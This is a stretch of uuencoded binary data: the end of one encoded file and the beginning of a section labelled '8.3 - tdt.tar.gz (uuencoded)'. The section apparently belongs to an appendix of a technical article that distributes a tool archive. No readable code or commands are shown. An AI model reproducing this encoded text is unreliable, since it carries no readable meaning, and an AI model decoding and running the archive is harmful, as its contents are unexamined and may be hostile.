MG1B:$R6<R9E#6706H$A=3>E?$O4+-`?1@4!*GIO/1)ZHO:\!T>L[#PYE6:EG
M$$6&IW7\3(S(G*>8X`!Y]-DST;PX/5TH=N,(CT`P))=<"I%-ME4Y*@X/0%'+
M8-1=%M6R,*HU&LA#]XST(-B?C"[D]9E#$Y)N(:E^I!8DA<6I$<A7=@AS*MR:
M#?$[4FUH!81203RS%!#)%#SFKTPERJCI;)_\7>DC'C[$I2N7ZG?&3&'*4VJT
```

```
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
M([F7L").__N_J;NM8PO]M5_>VI/YG>Z^&<,#_[>RL^;_[^*SYOS6FWRVF.UI/
M=\I),C=R=M%L4&SI),EK\H@S[]'-)I\0)\W#TXNC1AOS*1&OJ7W?9_TP2KG#
MS_K#L)M^!FS=P'X&[`&`VL^8N[*?7?;&LZ']"#/-VT\X*9+,VL$A`/4[/O5L
M>'[VBB"IAR\/#L]:;=D].2#=X?4OY%=8')7%AQ),*S"!\'<#6`0K/V8X[LQC
M">6I@QXSS^(Y+8I0IHQ%2I2Q#[.'83XGS'Z.ARZE0`^&P<#':"G^QQA=4OH1
M!Y4)XS(E>#J!)Y*#&0XQK1Y`8L;U"/[&&+L&1D0&,!@9X5WB^>5EV`LQ#@L?
MXV&L$D(Y9`;5'<U.8+`SZ!"Q^1F3_S=/OXF+I:=OGWVOO8H07*8"SN#Z4!Z5
M)+-!+@):Z/!LH0-_'K::[?.#YGEJ/LA*P2MN&!F\I&F!1_P&E6V?GUT<GJN5
MJG*'=)F[^B4;D8%_04ND'R[E`(+O[.DG(S7\ME_`7%TX5AF,C^CKM:S^^*)Y
M>'[2:HI79ZWS%B:#:%-#,-DY::92(A3'YY<!_`UEK0)+\:*6QS&4XKH%C$5?
MYV`R(%1R$JH$?3^&P/#CNF0_+#L%E$[WD,D,E8+C2LTVHS99AM2O=[I^7R9V
MHH35Y.O2[4II<9]Z!:T;TC.KK8[2JNVT^)(2BX%H2(I)*Q-9*B%QZY#Z?Y"/
MB_^G]7B'=2S3_^[4J^K^M[I%\?^W=ZKK^&_W\N'X/R-_'$[F0P[C%F"4`>UK
M7!"Y&C07N2I(>J4HL[;JL^&\;A<I/E24XT4LL[C@]S2Y4DZQ7W6[6;V"K7HH
MH3!O5J*=DBU-`SLW&R[&W6Y9(!.7]C%>W"KLS\;W&-$.55VDTFE@CD],W/W\
MX(@#5G1.3]KGAJB/`R%5;RZR3F$Q7`,-G:?(&$2F4?%%7W[11[+GA67Q;C^C
M/TLRY6C=F5M=IG#_0H[,^H`DU\>J,0<$4UII'B0Z<P:R,7FA#1R3-[T2276"
M(SR>CX"9?"8/TE^4BSV]H]`6\`Y(CGB,IQB#/])A9W%P]!)B`!I/O4;XF2L<
MT-+^251YJRTOTH4J2,:ING**QH%:N'?D>2U"J\?$?L&S[XR'R(6)=X\?`^SC
MQZC84HC?O,-P!++O(MPO9%8%#H;2%D.;2>EI\@-%-<]JK=PFH`%2@L)"%D2N
M9E>K<)>KQEP6:3/SF"K/6/7F$::6[*+HZ%"&"[40GHEOAG-A1:.0KUPE9*`4
M*)(I889#^4H-M-U2O1R2YK([L1OJFPE5HG'MVWW+5^*GA]ADX-3J6#"\\KW9
M)BJ9+-VD(8\?/Y88!7YU#C2^3:+/I,<NM8;SBD,W%Q:&]WE%.6$[%.[+\91%
M5#99=W/MF;9(BUDFZ;5[)K[T>7[;CY/_8QGJSNI8PO_M;56KB?U?#>,_[U37
M\7_OY[/6_ZXQ_1=H;1W2RS+UD,`[Q$7B2_HXM=0\P'[OWX;9EK*0DIYN)^/@
MB8TE95@H:$)&Q)'<6'+-+84-8N>ADB6U('\K2W3BX!_,V1+.G%H*PKRUE1E,
MJ9E1/UBQ4NJ:&T-^WRAZ%N=6Q6!H0-TYPC5%)HSFLW!,*56Z0__*^,?4[;MX
MXN]MEAB8*WVGGX#4I0\9,NW$KE>)0U>\YSZQY1POAN96%$/Q#4@J=`F=]3U[
M\//XFTIU>SA_*F#X0PX#E`'Z9BX,IO%-^%89-*2CS,A8K_I"7;:;&T2)KV<C
U-QZ\(=$#24YI6-^$L`FR!.U:GT;WN,?JE3Q2!P`$H"?`C_5?TD,%93ARMVB
)MK*H$X50TK-*>)Z,(JF'_FZ'%MK<M@(63399%;'RCE)BR48%XO9N4*>GI>$
;*0'T&'-+6O1NAL.<-W]0L&O3ED#C/&19^$@FL<RO*(@RY3YE"`I^A7\F.+-
01JR@GE[B"*$^QX"AC-,=!I-M>1.C"K6S1%TH:&L(6<+FT>>9YHZR+BW_`A^
MPU=ZODCR%\LD?[RS2D+0H8DU;I_W_C3TNQ@=GH!4;PW)V=:6:"4_R=MJ&%<#
MYUE/JF!A!(T^$CQ*-D\K<A+)6I5WA(NS&Z=%<3772PH4DDE*!QZ^#*?QK(,Q
M!AE>R_$F2<`2C*$?Q#W.-D_T0=K@J$E'DRE=T6.[(GD>869C=>OBR3A5NOCW
MSB)47<E<7.E.F(#8`2]]^U$,9=12N0S+B]LFPVHN&J>R4+-%X\OZ&?5("FC?
MZ]E7\7AE>#<-IH2_,+O^/1=%M]4<R8K)LY=+R$$BXAJ-E+=B)A1+L@D,WY59
M>%CVM/N:@E']2O64:7TA11(>NV=3SX;8%$]((66L88/,_*8H:C(8'I($3(0$
M>[<LQI$8!O[U5U_AB"B3)=76DM;YB,*2.S.AUX9T,Y=K*7UG)L;=C[,@SCY/
M8K9FM1TI?HRUH7(K&CN149M[C\YFOI/&7O'J#HE948L(MS(<@%Q6;,!20LJ4
M*?.X)H_V?8'C%U^'$Z#VTCH,8^Z/!\-`R+3DM+B2!%92]_<LW!?O=#,QYY9L
MFJ[E78F4?ER1MZ\K0JI-8ZZ/'5D']R"YG<>1P>"VMLY#ML+K6NH:18\><7L>
MAX]5G'T;F!:]!5E\MU$KY4#+#9!J$D/]QDV&U^]PH.GA;\ID\S]/W_)[^RC_
M_Y'\\CGJ6#G^3WVONE?'_$_UO:W:VO_W/C[I^5=?[O(">%G\ORU<&WM;N_7=
MO=U:C>+_[6W7U_J_^_BL:(NVR%;,92JF+(P\K_6JT>RPTV71M'+_-?EQW#H[
M;)06AHC)#U[LU,X,=4:-)':,.[KS!7M3?!-SJA;.TT(2JQE]5UND[^PX;-+)
MG%_'G$DZ3$+$XG@S=JA69<#/!N>ZVEJV2KO#'4Y=5GS8'>+=K`LU02#N(LM,
M=.1BV>4F]T[ES=!9"X%B+2I964974]Q:T:A?6]F[ZM&1<C$G'$+"=[N:;56-
M?%#]ST[3^=D^N?3_#G-`+HO_4Z]R_J_J7G6GOD/W/UOU=?RO>_F032OE[)L&
ME..+K"Y((IE$0"J#:9RDD>+L(_V@@ON;\C*B":W<80A0H!2)(-I0&NMXAOHO
MS*,1"/\24&&QL;+,Y5R*ZSWY93_I_?\Y(L`LC?]<JQO\?XWSOZ[]?^[E<W?Q
M.NX4TQW<1JXQW0K3W<W='6'ZO/&?M9B;C@`M7Z@8T/JG^O8'BP.MZ+],_(WI
MA^^\CF7QO[9WR?YGKP;,WQ[Z@M:VMNMK^Y][^?PE&`ZC<L%,]#T,1R'FP>Y%
MPV%`X0OH_IPR4W-.Z_@*TPMR0FD1C2D+-XN@!13()D/_(V?1]C$$P4=XA^H!
MN>,*A=>8*?QC-$>7FJ<J5M$EJO</.-\LUT)<*=T4(@,IKUDU+\H[NTP2H#^;
^3W*V0WOHH)'O"KZJG,9R;.R6Y?*U,W89[-@1%ENDXJ(C_6&UCWO'*]O^>I$
M);WEQ)^L6A?B9,9CAWG1N4UA//YV5O#B^60237$X06Q%Y<8,_@OZG*B<(\NG
M^XW)TWO1Y*/,Q$UY%5$YP-F6DE3@9AYR07<]!8]'&I&513JC-Y`;=%4'.)A?
M:!&4_PDF`:NC1.WZ1H*S``J9M=U983?H^7C783O6B<L@&,+ZN<81G,QGI`H@
M!SURL*.>^$G.>)P&G5`=G?H`,28WC.;C/EZH]ZZ"WC6E.@\O:;V`?#*5*2TI
M?SGJ,*PA(2B:60.TX''"MW'V*EYVB+)EBG_,$7H2Q9A9_B/F+Z?%2__`:JH4
MO"/J:S\2X:S"LS<=);.'[O_!,)@E.=L6#J$<,IR2<1#T@W[!4Z.*6XJF!9,R
M?Z2^)+TFQ+B[(LJ]*9/;44)Y:E'?:A'%;+"*A6-SP&B_HDX,^H3P\:R/F?$4
MMIMI%AMM0=06CJDTMXQ+&XBQ/M5;+`[32:,,PTH&'E07+HUX'&+V7#&,!G&V
M@4`?O*]%'(V"C@+<"$4PNZJ*7P6WD*.@7/7]6J&0;`A<96.]S/!R'VN\`H)U
M@^0'A[>+_I5C'A6#IE"OB`ID:<@?3EPUXC_?3+]P_-?MK5IM=P_]O^K;M9WU
M_<]]?.SYYS_W'?]MJV[._Q;%_]A;QW^[EX\S_K]R#W]^<7S<.&O_W=NIU1U9
M`<9T(Y.Y4JE4HJC54L2YU8HBG6<U`ZLS";A?9_(+L.?.6"<8J)66)KYT7AT)
MO#MBPRY^3O3=$UT0T:)].TNTSG:;^-:IG,K.5-2>2))1>YP=F+_.(I41DC-@
M8M[X-VJ,WSK37ZZ0_F!SD^U)T%Z$U*XS$'0_?AN+V+\F4]<1?.A'&<Y1\<Z?
^.,@#M`*T1',JO96XM1IN]5YGJ0@ODTLJP6AK#XAX8(S&V0JXW(JV_+KLU;S
M]"='AM?<*F4X!@-/?MUF)*WD=HQ&X/G!4>>DV8+.TJ):H0&(!1M`B'*[#',3
MLX-D=F9(K#`;EDHU;C=,9AV_HZ3CN?FG=?YQARWQ[R[Y-(PN!ZRC*64NER.'
MR=%^^)!O.6569NR'CG%G9QM'9\[YI38CA>\EF42<&FXGN"9(*D[M0E*1I!;7
M+4M$'S+&@K:8,A"Q^,BEHP^7%`@7Y+&V\L+G9[&&INSG7-=^AF2F%(DDG<CT
E4S@C0:(,<F7V4RF\BCXTN?I?]K'YO^^:/[/[5IM9W=+YG_96<?_OY?/W>GK
[Q33W=UKK#&MANGNYNZ.,'WV_)\HZ#KR?]Y,C?R?^(/___L'N?=:?]6?]67_6
1G_5G_?GO_?Q_V;3+G`"0`0``
`
end
```

----[8.3 - tdt.tar.gz (uuencoded)

```
begin 600 tdt.tar.gz
M'XL(`%LK.3T``^P\:W/;.)+Y*OT*1'E)MMZ6["LK<3:QY1G?.G;*5F8R-W&I
M*!*4.*9('4G)\=[F?OMU-QX$*<E.=AQGI\XL)R*!!M``^H5&XF3-Y]YZ?9
M[#1WNEWXI2?_*]YWNJUN$_ZZK4?-5G.KVW[$NM\;,7SF<6)%#*V*3D!>Y"">ZV
M_+_HD\#\QY']76G@&^9_J].!U:KUK9%S.]J/S]/&K^?2.2.ZO;W:0/XN;G=Z:R;
M__;V3AOFO[.]L[7=[&QO`WQ[J[GSB#6_#SK9Y_Y_#_Q`MN?.YR]C!/'"^N3
MO6(FR?=&^;3("\:89B02]63`@*X(I@CP<SMA\#-$*+915*]#.^)6PEEY$7I.
MI?@_Q4(.MK#!(K\'=10\EY7+D<]>L:GE^Z%=CKU_\-`M;T1^I5)AKUZQDP_'
MQY5BH1#Q9!X%]-DK%J9\&O,$2E99\W.S665F.:BY$/FU/4R#FEO-7MI2;8^0
MU>UIN`U5A3T!LMDP6V?0@X(;<>@15-];0N:+@8^H7V&UOG;"4=2"0_&E6/2"
M)!U!RW'*2P.,O17E(8W&%;\*&QNA[Q`(X`*U%!CSJNP/;$%T&[$(YE.V]THC
M)/JDRC&1(:K`[BFT-W'TFCV9I$!Y.G2BLS=W4^,@RIN#FK94TRV93:4=HPPQ
M7N5:BR;A"XX\]%!BCSVLL5;/F&I,>OR*-2OL^7-6/A^<[;][KS'YW;NH`C95
M'&"8[716L^2"=;RB.O[YS]5UO%154)=TEBR\N7D!"'X&"&<^PSDU":C9$WWX
M(^T#I+AAQ,K8K6:/>>RESF'>YJ9H!+&[L3OF<#6IQ75%]F0)^(B$$S>,()I
MOM3#7#"P2M%A>T!FS*O5*F;'ON#GG[W:JT+Q9"4Y\'=F0Y,]D49#9#9'@!
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
M_!_=Z<CUG^=;FL+``&^V][:>N#_^WA4Z.1!__#HI#_\Z?CT[9OC\^(:L?!D
'@!\'G@Y0,]*K)3I1;@15K-T?D/*`]W&\G$*X5G<MX(7"<.Z/<O'<P!C/QQ9
/L.&2F9HC`SZ3X]:4-6YTQ_+K6J_8%;Z"#^K>5BE_+4(QMP.`P?-X%M171<<
2'L',#G>BO&4PYD/U5+]R'8#\[,Q\KG\]?&6\]@:\[1IO952+)0^)?7PM(PQ
/)73L/XI*$$:@>\R\<'@@=R7GNL'\<))#@9[[/<&M-F8.%;K(GUO&^\G%Z+P
IZ3FL4\).P*"FR43L5L=>\%89[N8?8@KE_@Z3OB4B=[H_`GF_\S]V6.=Y&/2
,0;<>T&(ZY8R!:U9,:L%K+:`OXJ&#1#V)&17$<QI,&9)F&\@1HAS#Q<];`1$
?<F2R(HG`%QEF.I!`S5/@R\0_!<>C<(XK</!1-K&8`=X%@I0L:+Q+GLQ#8-D
`JORZ\8UMZ(7ND"2%AAX4Z-`NS.!U=KN.R^8)SR%/T!X'CA?6?U`@=]<.6YT
:#M@>BT<\)E/$02[>M_#I.^9%<5\"*W$MX?6V4;THMF68-/(GD1E*E)E+QHO
LL&Y&7@\2%)0(8'YFM[]=O+F73\3KO<*@Q$QTH28(1,1;(N(X'"6E`7FHOV2
L^NYNQ.@^V1WL;M[L#O8+0F$^J>'0G#$5UX"B^FR+3YM"]!YX;S8Q?@Y;/GH
?'C>'Y2=H>M;8Q$#FR(`[X2_.(PBY5DRA3]Q#D4*O^?)%$2?(?F2J3QK185F
"4QR&7`'I#'V<-IXYC2>_5:J,B@H3[2<#]Z<#8:#HW=]/.4UO:0B.IL.MOS4
'QPJ/&EHC5-!HEN>Z!8!>C<!NFG_,V?<LO*JR@3.*T8E5]]$U'<#A&^@%@C4
,*"RIQ,7&7Q7).4J#)8K7`T8&X#Q<B,WCE.R1"?)/=+)S[O/WOU+1)+<U*>%
,1[9$<9NRAFGYB3S;8@TL/&!0:&XR/R**3I8&KV#'\QE_9.#KQB^@YLZ-5CJ
U.!'DL37]6BPND=@8UIS/UG/N_),)PI;;`#P\`*G1PDVGA%5":D0KZ@C*K8X
V(=!V)@.;YN;-$0W"AP*GK8O\I;2UX6%*XN82J<*S]`8V@`E,V?HRJ,8RK@,
Y[Z#]B7E4KBVM'E$L$)J(W[[9O3R^N_>]_]:K6XK[___I=A[._]W+H^)_&_5Z
\</@Z/A/!@/763X@&!(:\SA2GPW^.6F[\6UAPL<'*K^&!V$8_"_*&0'$Q`UN
+..'M=N2O@PG!GV393[*QA2K\F&F?)@K'YKEPV+Q+*W@:1E'K-(PHY%56BY@
626K8.6W1R>R$MV2CF"&O$H:;"R^<7=F-/?\I%0LBA05ZPP_9R+F680;UZ1U
C9'&HF@6#G[EX%;8'04LKX@J-H!DAWXTH3\\*Y^;_'^3.VKCMOC?'8SY0/_?
%GRTMX7_[T'^W\OSQ'/)I7?2WS\[Q>.PPY^'^CRUF8@NM)89=_MU\<)B<7RG
)\AO#@QN8+3D?\^]B#L,#3YMK%;P]*'JV7#XX;P__'CZOG]BAA(#G.'F-($R
ME]T$\\^DQ\!0R^(AE-1RVE#TM]'(@[Y?'<R\?+-.,>^T9&ETJ/!=]/!\)CDQ
MKC@8E9Q%\R"@$RHQG;N4QQ/)XB98+^]:,\""%"P(`W*"62-H%%,-L#@%BX4C
M+%-IMDXG!:8%(W.L:R,[R6?C;!CYBS1_05XT+[G.XW.0PL`")-?`()NIJ\>7
MH3@T;47)$#]%C\C+M@S&`R<%0E]9#M%9&/<*F*>\R#/$U8-A1)CE.X[45E=:
MA(F+2QITTX`D66.175#+DQ3ABJ9LM?#20`K=BJZ*T=J+5EX:BKXT@%Q!K@(Q
M87X].QKTRP!!%4JB815Q$8Y&'`!_Z9^]/3TW0!<&:"O3[B_K8?<05,,*1UVA
MI#FB1(=U5^Q/Y%F'+GN`]U[Q"5T\($\.W`1&QTY1MFBC$Z<'%WUZQ49.\AX!
M:5M4`:W82.W)75*6W245%2AS596G[R$YF<M"\'@^B$+FPM)TY%\.$^&`'@9X
M@8-$ET$]&0$.=2W+_V7]KWMX9SKF9OW?`G6_3?$?G>W.=K>)\;^=[9V'^]_N
MY5F[_V]L`HVM:&2-^6KZ@R6,H,"-41#A%V]C&#]8`DB5\)-"1-S%+$Q`HL;/
MT'5CGE31$2].),PB3[A-@'JO)E:"RHQN$KL&1@&5CMLPH8A5`YZ:HB"XXLF$
M1Y@S#ED(BP]@*@O$\B2<<3(!\':"$<<;R$("^P/FG(W"Z8B%\Z2.\%0&6`8:
ML]'94F4S'DVLF=D,UI)<0Y6AR\3B5SA:N*-;!)``*H@B#G($6_:@3:_.ZY#+
MCDYE,6P$O@F+2\YG5'P<HK(,@RI59+$IGX;1M2A1Q2)3;SP!K$&UHQZ&7D0<
MU&!"A>'+HA@\I86SVU&O7[\6ZLEE95.2D/C`:6/D;=*;>Z6CAL1UESWSYW2J
M!<'0"==H*/SG,6=BSO!0_X(VBVB?%1:JKBLF)($N8']"0/7*BQ).%P:@@V'-
MGB?=;@>U#\4&78[8B#"$/16$I(MQ(R^]_$1E`3F+'3ZZ2`>@@KD_%)`IR!#;
MP4S\U1=GH$`&8.B"L=DD$O`.!=R\MLIN7-NC(5P^"I,[):)VH44-:A\Z6SX]
M)_-<XKEZOSI%/=VP%E;D$$_#&+TJX\0V\?84^%AU>`5F,9D`$\$?DO6,#!WD
M-N2Q&&<.".TJC"Z!XY"C`/Y(\Y_E((&Z_`KK",:H@JS8LX%#HVG-HN-0O8K>
M(FNEUTU(9&%),"2E1PB7$4=`E;K]7'8/Y4$>9T0":D%\Q10'\^D(R`SZ\`\>
MA<KJI</96"=:G[+AQYXXR*4<R"LJBQ//]]G$PO-<P27TR4OP"[VN(\[QD@H,
M;77J3)1%B<.!PSD!(CO`@'GC`%*<>E'=JP,5U[TA53BT<=5"2-AAD,`2@BL\
M/G[\2!P$!L(NHO^"9`>,$CN;!_SP'&1!8J%[5^Y:U^MU*J@Q@?%W!,O'LC>(
MT,1:2$&`,S2'N0U%WV3OP0:=*,<R($^"`2<8$L?`HG6$T$('F-V=^S2OJF]Z
M6W2I0YF!A>E!UR$)!B$@%>59;.%%8`^EK"J$BQB":>B#R)8@V&?(\OTJ]$*(
M5KIHTPJNK\#&UV@]1KEI3V=E04A`4)JC)"])`LOAG0ZG%&Z6'RM"A[4DR%)[
MPN%_;-B2"+-%S.(0+/\X!.X)7=EWDS31C-\U*M=4,9Q:B3W!=\$=D"=<C)(G
M*B+MB_BA_9KE/6$\M58G69KGYY(?CCV[1'Q-RD.Q;D)W&:".BV*N<;8H2!NY
MF-@]Q]RN%\6DAAUN>PY7LRN*JLCQRS!&'4P+;M\"`@*M65RUD8U(9[<L(85V
MC+);<0:<VL<26U8I?5%$#B).ZZ\K8-T1L23#J/5T\89:7Q;$4H0Q`ELV++JP
MQY8+R%(AM9BK2GCH='SIS5)J%JPGM()B;YN:?\G2]9GJ$@;`:#"+P/;T^DSN
RYDT^"7E'RW,:`&/H?0SU*@ZON0*^X`+`XQ*`?T07B.[TBT5@@K1J*.P%4"=
9(<P";`Y'B1QG0TDO2`)TU23`A#%I0-%TK>-%!UYLQD"N5$XQ>"F><1KT91E
Y]C+S]2$@VT-H@)6M3[*"Q*;V*I,0R$#$A>I];$H(@L"EX,P/!)"#("!\"QA
#V*'K!$8%(#7=(KWZ$W1?5$%8%E6&%9>X``=@]!U<&1$PW1O1TBGJ>5,Z@:U
W+%QW(G"`$T\RAH3H#P#+%686&W)55V;U"T*&;$!_?;X=/_O0W2A#P_Z[P<_
#P=G;V!1>]ZODI4@H3)&=549'15-!RH^Q-S.-D)%FKO+>\`M2DO-N'II5<A#
.P<%%AXK$?Z5];NP6?!7;`J6X9//S!(_MOAQZ$?$!B&7H-A5Y#\5K)CA!@&&
7,(RS)2".>2XR._]KE:;B=:;5:4XA;Y\_#@KWZ]0ZVF1B`IC=EVN$&%%H.47
R%<SD.D@6J2N#-V,")`"""*SSSR#@7[-%&TE/D@:ZRK@4XXHNM!J2L8D&RRS2
3?ITC-4I=%DE'34VS3LRZ];?*HA&M'!+"'=2>J(Z/4YM&-9X06"<WA)'3C*T
?<GK\LKP\[#7K/]QT!:D??8KVTWO0#;LT')Z>Q_60(8H_,T#[_/0"T'S!4#V
